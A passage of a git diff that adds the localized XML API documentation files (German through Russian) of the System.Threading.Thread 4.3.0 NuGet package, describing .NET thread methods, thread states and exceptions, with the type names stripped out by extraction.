einen beliebigen Thread mit gleicher Priorität ab, der für die Ausführung bereit ist.Sind keine anderen Threads mit gleicher Priorität vorhanden, die ausgeführt werden können, wird die Ausführung des aktuellen Threads nicht angehalten. + The time-out value is negative and is not equal to . + 1 + + + Hält den aktuellen Thread während des angegebenen Zeitraums an. + Der Zeitraum, während dessen der Thread angehalten wird.Wenn der Wert des -Arguments lautet, gibt der Thread den Rest seines Zeitanteils an einen beliebigen Thread mit gleicher Priorität ab, der für die Ausführung bereit ist.Sind keine anderen Threads mit gleicher Priorität vorhanden, die ausgeführt werden können, wird die Ausführung des aktuellen Threads nicht angehalten. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Weist das Betriebssystem an, den Zustand der aktuellen Instanz in zu ändern. + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Bewirkt, dass das Betriebssystem den Zustand der aktuellen Instanz in ändert, und stellt optional ein Objekt mit Daten bereit, die von der vom Thread ausgeführten Methode verwendet werden sollen. + Ein Objekt mit Daten, die von der vom Thread ausgeführten Methode verwendet werden sollen. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Ruft einen Wert ab, der die Zustände des aktuellen Threads enthält. + Einer der -Werte, der den Zustand des aktuellen Threads angibt.Der Anfangswert ist Unstarted. + 2 + + + Stellt die Methode dar, die für einen ausgeführt wird. + 1 + + + Die Ausnahme, die ausgelöst wird, wenn ein Fehler in einem verwalteten Thread auftritt, nachdem der Thread des zugrunde liegenden Betriebssystems gestartet wurde, jedoch bevor der Thread bereit ist, Benutzercode auszuführen. + + + Gibt die Ausführungszustände eines an. + 1 + + + Der Threadzustand schließt ein, und der Thread ist jetzt deaktiviert. Der Zustand hat sich jedoch noch nicht in geändert. + + + Die -Methode wurde für den Thread aufgerufen, doch der Thread hat noch nicht die ausstehende empfangen, die ihn zu beenden versucht. + + + Der Thread wird nicht als Vordergrundthread, sondern als Hintergrundthread ausgeführt.Dieser Zustand wird durch Festlegen der -Eigenschaft gesteuert. + + + Der Thread wurde gestartet, er wird nicht blockiert, und es ist keine ausstehende vorhanden. + + + Der Thread wurde beendet. + + + Es besteht eine Anforderung für die Beendigung des Threads.Dies ist ausschließlich für die interne Verwendung vorgesehen. + + + Der Thread wurde unterbrochen. + + + Es besteht eine Anforderung für die Unterbrechung des Threads. + + + Die -Methode wurde für den Thread nicht aufgerufen. + + + Der Thread ist blockiert.Die Ursache hierfür könnte sein, dass oder aufgerufen wurde, dass eine Sperre angefordert wurde, z. B. durch Aufrufen von oder , oder dass auf ein Threadsynchronisierungsobjekt wie gewartet wird. + + + Die Ausnahme, die ausgelöst wird, wenn sich ein in einem für den Methodenaufruf ungültigen befindet. + 2 + + + Initialisiert eine neue Instanz der -Klasse mit Standardeigenschaften. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/es/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/es/System.Threading.Thread.xml new file mode 100644 index 0000000..94aa452 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/es/System.Threading.Thread.xml @@ -0,0 +1,158 @@ + + + + System.Threading.Thread + + + + Representa el método que se ejecuta en una clase . + Objeto que contiene los datos para el procedimiento de subproceso. + 1 + + + Crea y controla un subproceso, establece su prioridad y obtiene su estado. Para examinar el código fuente de .NET Framework de este tipo, consulte el origen de referencia. + 1 + + + Inicializa una nueva instancia de la clase , especificando un delegado que permite pasar un objeto al subproceso cuando este último se inicia. + Delegado que representa los métodos que deben invocarse cuando empieza a ejecutarse este subproceso. + + is null. + + + Inicializa una nueva instancia de la clase . + Delegado que representa los métodos que deben invocarse cuando empieza a ejecutarse este subproceso. + The parameter is null. + + + Obtiene el subproceso actualmente en ejecución. + + que representa el subproceso actualmente en ejecución. + 1 + + + Obtiene un valor que indica el estado de ejecución del subproceso actual. + true si el subproceso se ha iniciado y no ha terminado con normalidad o se ha anulado; en caso contrario, false. + 1 + + + Obtiene o establece un valor que indica si un subproceso es o no un subproceso en segundo plano. + true si el subproceso es un subproceso en segundo plano o va a convertirse en un subproceso en segundo plano; en caso contrario, false. + The thread is dead. + 1 + + + Bloquea el subproceso que realiza la llamada hasta que un subproceso finaliza, pero continúa bombeando SendMessage y COM estándar. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Bloquea el subproceso que realiza la llamada hasta que finaliza un subproceso o transcurre el tiempo especificado, pero continúa bombeando SendMessage y COM estándar. + true si el subproceso ha terminado; false si el subproceso no ha terminado una vez transcurrido el período de tiempo especificado por el parámetro . + Número de milisegundos durante los que se va a esperar a que el subproceso finalice. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Obtiene un identificador único para el actual subproceso administrado. + Entero que representa un identificador único para este subproceso administrado. + 1 + + + Obtiene o establece el nombre del subproceso. + Cadena que contiene el nombre del subproceso o null si no se ha establecido ningún nombre. + A set operation was requested, but the Name property has already been set. + 1 + + + Suspende el subproceso actual durante el número de milisegundos especificado. + Número de milisegundos durante los que el subproceso está suspendido.Si el valor del argumento es cero, el subproceso cede el resto de su porción de tiempo a cualquier subproceso de idéntica prioridad que está listo para ejecutarse.Si no hay ningún otro subproceso de igual prioridad que está listo para ejecutarse, no se suspende la ejecución del subproceso actual. + The time-out value is negative and is not equal to . + 1 + + + Suspende el subproceso actual durante la cantidad de tiempo especificada. + Cantidad de tiempo durante la que el subproceso está suspendido.Si el valor del argumento es , el subproceso cede el resto de su porción de tiempo a cualquier subproceso de idéntica prioridad que está listo para ejecutarse.Si no hay ningún otro subproceso de igual prioridad que está listo para ejecutarse, no se suspende la ejecución del subproceso actual. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Hace que el sistema operativo cambie el estado de la instancia actual a . + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Hace que el sistema operativo cambie el estado de la instancia actual a ; también puede proporcionar un objeto que contiene datos para que los use el método ejecutado por el subproceso. + Objeto que contiene datos para que los use el método ejecutado por el subproceso. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Obtiene un valor que contiene los estados del subproceso actual. + Uno de los valores de que indica el estado del subproceso actual.El valor inicial es Unstarted. + 2 + + + Representa el método que se ejecuta en una clase . + 1 + + + Excepción que se produce cuando se produce un error en un subproceso administrado después de que se haya iniciado el subproceso del sistema operativo subyacente, pero antes de que el subproceso esté listo para ejecutar el código de usuario. + + + Especifica los estados de ejecución de . + 1 + + + El estado del subproceso incluye y el subproceso está ahora inactivo, pero su estado no ha cambiado todavía a . + + + Se ha invocado al método en el subproceso, pero el subproceso aún no ha recibido la excepción pendiente que intentará finalizarlo. + + + El subproceso está ejecutándose como subproceso en segundo plano, por oposición a un subproceso en primer plano.Para controlar este estado, hay que establecer la propiedad . + + + El subproceso se ha iniciado, no está bloqueado y no existe una excepción pendiente. + + + El subproceso se ha detenido. + + + Se ha solicitado que el subproceso se detenga.Esto último sólo se refiere al uso interno. + + + El subproceso se ha suspendido. + + + Se ha solicitado que el subproceso se suspenda. + + + No se ha invocado al método en el subproceso. + + + Subproceso bloqueado.Este podría ser el resultado de llamar a o , de solicitar un bloqueo (por ejemplo, llamando a o ) o de esperar en un objeto de sincronización de subprocesos como . + + + Excepción que se produce cuando un es un que no es válido para la llamada de método. + 2 + + + Inicializa una nueva instancia de la clase con propiedades predeterminadas. + + + Inicializa una nueva instancia de la clase con el mensaje de error especificado. + Mensaje de error que explica la razón de la excepción. + + + Inicializa una nueva instancia de la clase con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción. + Mensaje de error que explica la razón de la excepción. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/fr/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/fr/System.Threading.Thread.xml new file mode 100644 index 0000000..7d61290 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/fr/System.Threading.Thread.xml @@ -0,0 +1,158 @@ + + + + System.Threading.Thread + + + + Représente la méthode qui s'exécute sur . + Objet qui contient des données pour la procédure de thread. + 1 + + + Crée et contrôle un thread, définit sa priorité et obtient son état. Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence. + 1 + + + Initialise une nouvelle instance de la classe , en spécifiant un délégué qui permet à un objet d'être passé au thread quand le thread est démarré. + Délégué qui représente les méthodes à appeler au début de l'exécution de ce thread. + + is null. + + + Initialise une nouvelle instance de la classe . + Délégué qui représente les méthodes à appeler au début de l'exécution de ce thread. + The parameter is null. + + + Obtient le thread en cours d'exécution. + + constituant la représentation du thread en cours d'exécution. + 1 + + + Obtient une valeur indiquant l'état de l'exécution du thread actuel. + true si ce thread a été démarré mais ne s'est pas arrêté normalement ou s'il a été abandonné ; sinon, false. + 1 + + + Obtient ou définit une valeur indiquant si le thread est un thread d'arrière-plan ou non. + true si ce thread est ou doit devenir un thread d'arrière-plan ; sinon, false. + The thread is dead. + 1 + + + Bloque le thread appelant jusqu'à l'arrêt d'un thread, tout en continuant d'exécuter le pompage COM et SendMessage standard. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Bloque le thread appelant jusqu'à ce qu'un thread s'arrête ou que la durée spécifiée soit écoulée, tout en continuant d'exécuter le pompage COM et SendMessage standard. + true si le thread s'est arrêté ; false s'il ne s'est pas arrêté après l'expiration du délai spécifié par le paramètre . + Nombre de millisecondes à attendre l'arrêt du thread. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Obtient un identificateur unique pour le thread managé actuel. + Entier représentant un identificateur unique pour ce thread managé. + 1 + + + Obtient ou définit le nom du thread. + Chaîne contenant le nom du thread ou null si aucun nom n'a été défini. + A set operation was requested, but the Name property has already been set. + 1 + + + Suspend le thread actuel pendant le nombre spécifié de millisecondes. + Nombre de millisecondes pendant lesquelles le thread est suspendu.Si la valeur de l'argument est égale à zéro, le thread abandonne le reste de sa tranche de temps à n'importe quel thread de priorité égale prêt à être exécuté.S'il n'existe pas d'autres threads de priorité égale prêts à être exécutés, l'exécution du thread actuel n'est pas suspendue. + The time-out value is negative and is not equal to . + 1 + + + Suspend le thread actuel pendant la durée spécifiée. + Durée pendant laquelle le thread est suspendu.Si la valeur de l'argument est , le thread abandonne le reste de sa tranche de temps à n'importe quel thread de priorité égale prêt à être exécuté.S'il n'existe pas d'autres threads de priorité égale prêts à être exécutés, l'exécution du thread actuel n'est pas suspendue. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Provoque le changement, par le système d'exploitation, de l'état de l'instance actuelle en . + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Provoque le changement, par le système d'exploitation, de l'état de l'instance actuelle en , et fournit éventuellement un objet contenant les données que la méthode exécutée par le thread doit utiliser. + Objet contenant les données que la méthode exécutée par le thread doit utiliser. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Obtient une valeur contenant les états du thread actuel. + Une des valeurs indiquant l'état du thread actuel.La valeur initiale est Unstarted. + 2 + + + Représente la méthode qui s'exécute sur . + 1 + + + Exception levée lorsqu'une erreur se produit dans un thread managé après le démarrage du thread de système d'exploitation sous-jacent, mais avant que le thread soit prêt à exécuter le code utilisateur. + + + Spécifie les états d'exécution de . + 1 + + + L'état du thread inclut et le thread est à présent inactif ; toutefois, son état n'est pas encore passé à . + + + La méthode a été appelée sur le thread, mais ce dernier n'a pas encore reçu en attente qui tentera de l'arrêter. + + + Le thread est exécuté en tant que thread d'arrière-plan, par opposition à un thread de premier plan.Cet état est contrôlé par définition de la propriété . + + + Le thread a été démarré, il n'est pas bloqué et il n'y a pas de en attente. + + + Le thread s'est arrêté. + + + Une demande d'arrêt du thread est en cours.Ceci est exclusivement destiné à un usage interne. + + + Le thread a été suspendu. + + + Une demande de suspension du thread est en cours. + + + La méthode n'a pas été appelée sur le thread. + + + Le thread est bloqué.Cela peut résulter de l'appel de ou , d'une demande de verrouillage (par exemple l'appel de ou ) ou de l'attente d'un objet de synchronisation de threads tel que . + + + Exception qui est levée lorsque est dans un état non valide pour l'appel de méthode. + 2 + + + Initialise une nouvelle instance de la classe avec des propriétés par défaut. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié. + Message d'erreur indiquant la raison de l'exception. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié et une référence à l'exception interne qui est à l'origine de cette exception. + Message d'erreur indiquant la raison de l'exception. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/it/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/it/System.Threading.Thread.xml new file mode 100644 index 0000000..397465d --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/it/System.Threading.Thread.xml @@ -0,0 +1,157 @@ + + + + System.Threading.Thread + + + + Rappresenta il metodo eseguito in un . + Oggetto che contiene i dati per la routine del thread. + 1 + + + Crea e controlla un thread, ne imposta le priorità e ne ottiene lo stato. Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere Origine riferimento. + 1 + + + Inizializza una nuova istanza della classe , specificando un delegato che consente di passare un oggetto al thread quando quest'ultimo viene avviato. + Delegato che rappresenta i metodi da richiamare quando inizia l'esecuzione di questo thread. + + is null. + + + Inizializza una nuova istanza della classe . + Delegato che rappresenta i metodi da richiamare quando inizia l'esecuzione di questo thread. + The parameter is null. + + + Ottiene il thread attualmente in esecuzione. + Oggetto che rappresenta il thread attualmente in esecuzione. + 1 + + + Ottiene un valore che indica lo stato di esecuzione del thread corrente. + true se il thread è stato avviato, ma non è terminato normalmente o è stato interrotto; in caso contrario, false. + 1 + + + Ottiene o imposta un valore che indica se il thread viene eseguito in background. + true se il thread viene o verrà eseguito in background; in caso contrario, false. + The thread is dead. + 1 + + + Blocca il thread chiamante finché non termina un thread, pur continuando a eseguire la distribuzione di SendMessage e COM standard. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Blocca il thread chiamante finché non termina un thread o finché non trascorre l'intervallo di tempo specificato, pur continuando a eseguire la distribuzione di SendMessage e COM standard. + true se il thread è stato terminato; false se il thread non è stato terminato dopo l'intervallo di tempo specificato dal parametro . + Tempo di attesa espresso in millisecondi prima che il thread venga terminato. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Ottiene un identificatore univoco per il thread gestito corrente. + Intero che rappresenta un identificatore univoco per il thread gestito. + 1 + + + Ottiene o imposta il nome del thread. + Stringa contenente il nome del thread oppure null se non è stato impostato alcun nome. + A set operation was requested, but the Name property has already been set. + 1 + + + Sospende il thread corrente per il numero specificato di millisecondi. + Numero di millisecondi per cui sospendere il thread.Se il valore dell'argomento è zero, il thread cede il periodo di tempo rimanente a un thread di uguale priorità pronto per l'esecuzione.Se non sono presenti altri thread di uguale priorità pronti per l'esecuzione, l'esecuzione del thread corrente non viene sospesa. + The time-out value is negative and is not equal to . + 1 + + + Sospende il thread corrente per il periodo di tempo specificato. + Periodo di tempo per cui sospendere il thread.Se il valore dell'argomento è , il thread cede il periodo di tempo rimanente a un thread di uguale priorità pronto per l'esecuzione.Se non sono presenti altri thread di uguale priorità pronti per l'esecuzione, l'esecuzione del thread corrente non viene sospesa. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Determina il cambiamento da parte del sistema operativo dello stato dell'istanza corrente in . + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Determina il cambiamento da parte del sistema operativo dello stato dell'istanza corrente in e, facoltativamente, fornisce un oggetto contenente i dati che devono essere usati dal metodo eseguito dal thread. + Oggetto contenente i dati che devono essere usati dal metodo eseguito dal thread. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Ottiene un valore contenente gli stati del thread corrente. + Uno dei valori di che indica lo stato del thread corrente.Il valore iniziale è Unstarted. + 2 + + + Rappresenta il metodo eseguito in un . + 1 + + + Eccezione generata quando si verifica un errore in un thread gestito dopo l'avvio del thread del sistema operativo sottostante, ma prima che il thread sia pronto per l'esecuzione di codice utente. + + + Vengono specificati gli stati di esecuzione di un . + 1 + + + Lo stato del thread include e il thread è ora inattivo, ma il relativo stato non è ancora stato modificato in . + + + Il metodo è stato richiamato dal thread ma il thread non ha ancora ricevuto l'oggetto sospeso che tenterà di sottoporlo al processo di terminazione. + + + Il thread sarà eseguito come un thread in background, invece che come un thread in primo piano.Questo stato viene controllato dall'impostazione della proprietà . + + + Il thread è stato avviato, non è interrotto e non esistono oggetti in sospeso. + + + Il thread è stato interrotto. + + + Il thread riceverà richiesta di interruzione.Solo per uso interno. + + + Il thread è stato sospeso. + + + Il thread riceverà richiesta di sospensione. + + + Il metodo non è stato richiamato dal thread. + + + Il thread è bloccato.Potrebbe essere il risultato della chiamata al metodo o , della richiesta di un blocco, ad esempio tramite la chiamata a o , oppure dell'attesa di un oggetto di sincronizzazione thread, ad esempio . + + + Eccezione generata quando un si trova in un non valido per la chiamata al metodo. + 2 + + + Consente l'inizializzazione di una nuova istanza della classe con proprietà predefinite. + + + Inizializza una nuova istanza della classe con un messaggio di errore specificato. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + + + Consente l'inizializzazione di una nuova istanza della classe con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ja/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ja/System.Threading.Thread.xml new file mode 100644 index 0000000..555c40e --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ja/System.Threading.Thread.xml @@ -0,0 +1,162 @@ + + + + System.Threading.Thread + + + + + で実行するメソッドを表します。 + スレッド プロシージャのデータを格納しているオブジェクト。 + 1 + + + スレッドを作成および制御し、その優先順位の設定およびステータスの取得を実行します。この種類の .NET Framework ソース コードを参照するには、参照ソースをご覧ください。 + 1 + + + スレッドの開始時にオブジェクトをスレッドに渡すことを許可するデリゲートを指定して、 クラスの新しいインスタンスを初期化します。 + このスレッドが実行を開始するときに呼び出されるメソッドを表すデリゲート。 + + is null. + + + + クラスの新しいインスタンスを初期化します。 + このスレッドが実行を開始するときに呼び出されるメソッドを表す デリゲート。 + The parameter is null. + + + 現在実行中のスレッドを取得します。 + 現在実行中のスレッドを表す + 1 + + + 現在のスレッドの実行ステータスを示す値を取得します。 + このスレッドが起動していて、正常終了しておらず中止されてもいない場合は true。それ以外の場合は false。 + 1 + + + スレッドがバックグラウンド スレッドであるかどうかを示す値を取得または設定します。 + このスレッドがバックグラウンド スレッドである場合またはバックグラウンド スレッドになる場合は true。それ以外の場合は false。 + The thread is dead. + 1 + + + 1 つのスレッドが終了するまで呼び出し元のスレッドをブロックします。標準 COM および SendMessage ポンピングの実行は継続されます。 + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + 1 つのスレッドが終了するまで、または指定された時間が経過するまで、呼び出し元のスレッドをブロックします。標準 COM/SendMessage ポンピングの実行は継続されます。 + スレッドが終了した場合は true。false パラメーターで指定した時間が経過してもスレッドが終了していない場合は + スレッドが終了するまでの待機時間を表すミリ秒数。 + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + 現在のマネージ スレッドの一意の識別子を取得します。 + このマネージ スレッドの一意の識別子を表す整数。 + 1 + + + スレッドの名前を取得または設定します。 + スレッドの名前を含む文字列。名前が設定されていない場合は null。 + A set operation was requested, but the Name property has already been set. + 1 + + + 指定したミリ秒数の間現在のスレッドを中断します。 + スレッドが中断ブロックされるミリ秒数。 引数の値が 0 である場合は、スレッドは自らのタイム スライスの残りの部分を放棄し、実行する準備ができている同じ優先順位の他のスレッドに渡します。優先順位が同じで実行する準備ができている他のスレッドが存在しない場合は、現在のスレッドの実行は中断されません。 + The time-out value is negative and is not equal to . + 1 + + + 指定した時間の長さにわたって現在のスレッドを中断します。 + スレッドが中断される時間の長さ。 引数の値が である場合は、スレッドは自らのタイム スライスの残りの部分を放棄し、実行する準備ができている同じ優先順位の他のスレッドに渡します。優先順位が同じで実行する準備ができている他のスレッドが存在しない場合は、現在のスレッドの実行は中断されません。 + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + オペレーティング システムによって、現在のインスタンスの状態を に変更します。 + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + オペレーティング システムによって現在のインスタンスの状態が に変更され、オプションでスレッドが実行するメソッドで使用するデータを格納するオブジェクトが提供されます。 + スレッドが実行するメソッドで使用するデータを格納するオブジェクト。 + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + 現在のスレッドの状態を示す値を取得します。 + 現在のスレッドの状態を示す 値の 1 つ。初期値は Unstarted です。 + 2 + + + + で実行するメソッドを表します。 + 1 + + + 基になるオペレーティング システムのスレッドが起動された後、スレッドでユーザー コードを実行する準備が完了する前にマネージ スレッドでエラーが発生したときにスローされる例外。 + + + + の実行状態を指定します。 + 1 + + + スレッド状態に が含まれ、そのスレッドは停止していますが、状態はまだ に変わっていません。 + + + スレッド上で メソッドを呼び出しますが、そのスレッドの終了を試みる保留中の をスレッドが受け取っていません。 + + + スレッドは、フォアグラウンド スレッドではなく、バックグランド スレッドとして実行します。この状態は、 プロパティを設定して制御されます。 + + + スレッドをブロックせずに起動します。保留中の もありません。 + + + スレッドを停止します。 + + + スレッドの停止を要求します。これは、内部でだけ使用します。 + + + スレッドは中断しています。 + + + スレッドの中断を要求します。 + + + スレッド上に メソッドを呼び出しません。 + + + スレッドがブロックされています。これは、 または の呼び出し、ロックの要求 (たとえば、 の呼び出しによる)、または などのスレッド同期オブジェクトの待機の結果である可能性があります。 + + + メソッドの呼び出しで が無効な である場合は、例外がスローされます。 + 2 + + + + クラスの新しいインスタンスを既定のプロパティを使用して初期化します。 + + + 指定したエラー メッセージを使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + + + 指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ko/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ko/System.Threading.Thread.xml new file mode 100644 index 0000000..8173667 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ko/System.Threading.Thread.xml @@ -0,0 +1,162 @@ + + + + System.Threading.Thread + + + + + 에서 실행되는 메서드를 나타냅니다. + 스레드 프로시저에 대한 데이터가 포함된 개체입니다. + 1 + + + 스레드를 만들고 제어하며, 해당 속성을 설정하고, 상태를 가져옵니다. 이 형식에 대한 .NET Framework 소스 코드를 찾아보려면 참조 원본을 참조하세요. + 1 + + + 스레드가 시작될 때 개체가 스레드로 전달될 수 있도록 하는 대리자를 지정하여 클래스의 새 인스턴스를 초기화합니다. + 이 스레드의 실행이 시작될 때 호출될 메서드를 나타내는 대리자입니다. + + is null. + + + + 클래스의 새 인스턴스를 초기화합니다. + 이 스레드의 실행이 시작될 때 호출될 메서드를 나타내는 대리자입니다. + The parameter is null. + + + 현재 실행 중인 스레드를 가져옵니다. + 현재 실행 중인 스레드를 나타내는 입니다. + 1 + + + 현재 스레드의 실행 상태를 나타내는 값을 가져옵니다. + 이 스레드가 시작되었으며 정상적으로 종료 또는 중단되지 않았으면 true이고, 그렇지 않으면 false입니다. + 1 + + + 스레드가 배경 스레드인지를 나타내는 값을 가져오거나 설정합니다. + 이 스레드가 백그라운드 스레드이거나 백그라운드 스레드가 될 예정이면 true이고, 그렇지 않으면 false입니다. + The thread is dead. + 1 + + + 표준 COM 및 SendMessage 펌프를 계속 수행하면서 스레드가 종료될 때까지 호출 스레드를 차단합니다. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + 표준 COM 및 SendMessage 펌프를 계속 수행하면서 스레드가 종료되거나 지정된 시간이 경과할 때까지 호출 스레드를 차단합니다. + 스레드가 종료되면 true이고, false 매개 변수에서 지정한 기간이 경과된 후에도 스레드가 종료되지 않으면 입니다. + 스레드가 종료되기를 기다릴 밀리초 수입니다. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + 현재 관리되는 스레드의 고유 식별자를 가져옵니다. + 이 관리되는 스레드의 고유 식별자를 나타내는 정수입니다. + 1 + + + 스레드의 이름을 가져오거나 설정합니다. + 스레드의 이름을 포함하는 문자열이며 설정된 이름이 없으면 null입니다. + A set operation was requested, but the Name property has already been set. + 1 + + + 지정된 시간(밀리초) 동안 현재 스레드를 일시 중단합니다. + 스레드가 일시 중단되는 밀리초 수입니다. 인수의 값이 0이면 스레드는 실행할 준비가 된 우선 순위가 같은 스레드에 나머지 시간 간격을 내어 줍니다.실행할 준비가 된 우선 순위가 같은 스레드가 없으면 현재 스레드의 실행이 일시 중단되지 않습니다. + The time-out value is negative and is not equal to . + 1 + + + 지정된 시간 동안 현재 스레드를 일시 중단합니다. + 스레드가 일시 중단되는 시간입니다. 인수의 값이 이면 스레드는 실행할 준비가 된 우선 순위가 같은 스레드에 나머지 시간 간격을 내어 줍니다.실행할 준비가 된 우선 순위가 같은 스레드가 없으면 현재 스레드의 실행이 일시 중단되지 않습니다. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + 운영 체제에서 현재 인스턴스의 상태를 으로 변경하도록 합니다. + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + 운영 체제에서 현재 인스턴스의 상태를 으로 변경하도록 하며 경우에 따라 스레드가 실행하는 메서드에 사용될 데이터가 포함된 개체를 제공합니다. + 스레드가 실행하는 메서드에 사용될 데이터가 포함된 개체입니다. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + 현재 스레드의 상태를 포함하는 값을 가져옵니다. + 현재 스레드의 상태를 나타내는 값 중 하나입니다.초기 값은 Unstarted입니다. + 2 + + + + 에서 실행되는 메서드를 나타냅니다. + 1 + + + 내부 운영 체제 스레드가 사용자 코드를 실행할 수 없는 상태로 시작된 후 관리되는 스레드에서 실패가 발생한 경우에 throw되는 예외입니다. + + + + 의 실행 상태를 지정합니다. + 1 + + + 스레드 상태에 가 포함되어 있고 스레드가 작동하지 않지만 상태가 아직 로 변경되지 않았습니다. + + + 스레드에 메서드가 호출되었지만 해당 스레드는 자신을 종결시키려는 보류된 을 받지 못했습니다. + + + 해당 스레드는 전경 스레드와 반대인 배경 스레드로 실행됩니다.이 상태는 속성을 설정하여 제어합니다. + + + 해당 스레드가 차단되지 않고 시작되었고 보류된 이 없습니다. + + + 스레드가 중지되었습니다. + + + 스레드를 중지하도록 요청했습니다.이는 내부 전용입니다. + + + 스레드가 일시 중단되었습니다. + + + 스레드를 일시 중단하도록 요청하고 있습니다. + + + 스레드에 메서드가 호출되지 않았습니다. + + + 스레드가 차단되었습니다.이는 또는 을 호출하거나, 또는 를 호출하는 등의 방법으로 잠금을 요청하거나, 와 같은 스레드 동기화 개체를 기다리고 있는 경우 발생할 수 있습니다. + + + + 가 메서드 호출에 대한 잘못된 인 경우 throw되는 예외입니다. + 2 + + + 기본 속성을 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 오류 메시지를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + + + 지정된 오류 메시지와 해당 예외의 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ru/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ru/System.Threading.Thread.xml new file mode 100644 index 0000000..25e74ef --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/ru/System.Threading.Thread.xml @@ -0,0 +1,157 @@ + + + + System.Threading.Thread + + + + Представляет метод, выполняющийся в объекте . + Объект, содержащий данные потоковой процедуры. + 1 + + + Создает и контролирует поток, задает приоритет и возвращает статус. Исходный код .NET Framework для этого типа см. в указанном источнике. + 1 + + + Инициализирует 